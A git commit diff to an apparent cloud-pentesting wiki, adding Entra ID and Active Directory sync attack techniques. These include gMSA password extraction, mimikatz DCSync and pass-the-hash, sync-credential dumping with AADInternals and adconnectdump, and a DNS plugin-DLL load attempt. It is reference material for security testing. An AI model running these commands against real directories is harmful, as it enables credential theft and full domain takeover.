This commit is contained in:
carlospolop
2025-07-22 20:58:25 +02:00
parent e93215546e
commit a315ad9465
3 changed files with 158 additions and 18 deletions

View File

@@ -23,7 +23,7 @@ In order for this to work some principals are created in both Entra ID and the O
- In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
> [!WARNING]
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permisions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Domain admins are not replicated because the Domain Admin group has the **`adminCount` attribute to 1**. But other users might be replicated and attackable if you compromises them from EntraID: https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
@@ -46,6 +46,37 @@ az-connect-sync.md
- If the AD users are being synced from the AD to Entra ID, pivoting from AD to Entra ID is straightforward, just **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**.
So you could for example
- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
- Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
- Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
To compromise the **`provAgentgMSA`** credentials:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the `provAgentgMSA` account and maintain persistence being able to perform DCSync attacks against the AD.
For more information about how to compromise an Active Directory check:
{{#ref}}
@@ -53,7 +84,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
{{#endref}}
> [!NOTE]
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributtes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
{{#ref}}
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -61,25 +92,38 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
### Entra ID --> AD
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, conenct using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchonizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
> - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.
So the attack surface (and usefulness) of this service is greately reduced as an attacker would need to compromise the initial AD from where the users are being synhronized in order to compromise a user in the other domain (and both must be inte same forest aparently).
So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).
### Enumeration
```bash
Import-Module AADInternals
# Check if the Cloud Sync is enabled in the tenant
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```

View File

@@ -20,8 +20,9 @@ az-cloud-sync.md
### Principals Generated
- The account **`MSOL_<installationID>`** is automatically created in the on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
- This means that anyone taht compromises this account will be able to compromise the on-premise domain.
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
- This means that anyone that compromises this account will be able to compromise the on-premise domain.
- An managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
- In Entra ID the Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** is created with a certificate.
## Synchronize Passwords
@@ -53,6 +54,8 @@ Domain admins and other users belonging to some pivileged groups are not replica
## Pivoting
### AD --> Entra ID
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
@@ -70,7 +73,7 @@ If the **server where Azure AD connect is installed** is domain joined (recommen
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
@@ -80,21 +83,57 @@ Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
### Abusing Sync\_\*
> [!WARNING]
> Previous attacks compromised the other password to then connect to Entra ID user called `Sync_*` and then compromise Entra ID. However, this user no longer exists.
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
This application is created without having any Entra ID or Azure management roles assigned. However, it has the following API permissions:
- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft password reset service
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
It's mentioned that the SP of this application can be still be used to perform some privileged actions using an undocumented API, but no PoC has been found yet afaik.\
In any case, thinking that this might be possible it would be interesting to explore further how to find the certificate to login as this service principal and try to abuse it.
This [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) release soon before the change from using the `Sync_*` user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a **service principal** can always assign itself new certificates) and then use it to maintain persistence as the SP.
In order to perferm these actions, the following tools are published: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
In my experience, the certificate is no longer stored in the place where the previous tool was looking for it, and therefore, the tool doesn't work anymore. So further research might be needed.
### Abusing Sync\_\* [DEPRECATED]
> [!WARNING]
> Previously a user called `Sync_*` was created in Entra ID with very sensitive permissions assigned, which allowed to perform privileged actions like modifying the password of any user or adding a new credential to a service principal. However, from Jan2025 this user is no longer created by default as now the Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** is used. However, it might still be present in some environments, so it's worth checking for it.
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -146,6 +185,7 @@ seamless-sso.md
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -8,7 +8,7 @@ Microsoft Entra Domain Services allows to deploy an Active Directory in Azure wi
Its main goal is to allow you to run legacy applications in the cloud that can't use modern authentication methods, or where you don't want directory lookups to always go back to an on-premises AD DS environment.
Note that in order to synchronize the users generated in Entra ID (and not sunced from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
> [!WARNING]
> Even if you are creating a new active directory domain you won't be able to completely managed it (unless without exploiting some misconfigurations), which means that by default for example you cannot create users in the AD directly. You create them by **synchronizing users from Entra ID.** You can indicate to synchronize all users (even those synced from other on-premise ADs), only cloud users (users created in Entra ID), or even **filter them more**.
@@ -18,17 +18,73 @@ Note that in order to synchronize the users generated in Entra ID (and not sunce
### Pivoting
Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not into the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:
Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not in the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:
- **`DNSADMINS`**: TODO Demo abusing this permision to escalate privileges (https://www.hub.trimarcsecurity.com/post/escalating-to-domain-admin-in-microsoft-s-cloud-hosted-active-directory-azure-ad-domain-services)
- **`Group Policy Creators Owners`** ( https://adsecurity.org/?p=3658 ? )
- **`Denied RDOC Password Replication Group`** is a group that specifies users and groups whose passwords cannot be cached on RODCs.
- **`Denied RODC Password Replication Group`**: This is a group that specifies users and groups whose passwords cannot be cached on RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: This group allows members to create Group Policies in the domain. However, its members can't apply group policies to users or group or edit existing GPOs, so it's not that interesting in this environment.
- **`DnsAdmins`**: This group allows to manage the DNS settings and was abused in the past to [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:
TODO: See the GPO that gives local admin to every user in `AAD DC Administrators`. is it in the Cloud Sync? How does it looks like?
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}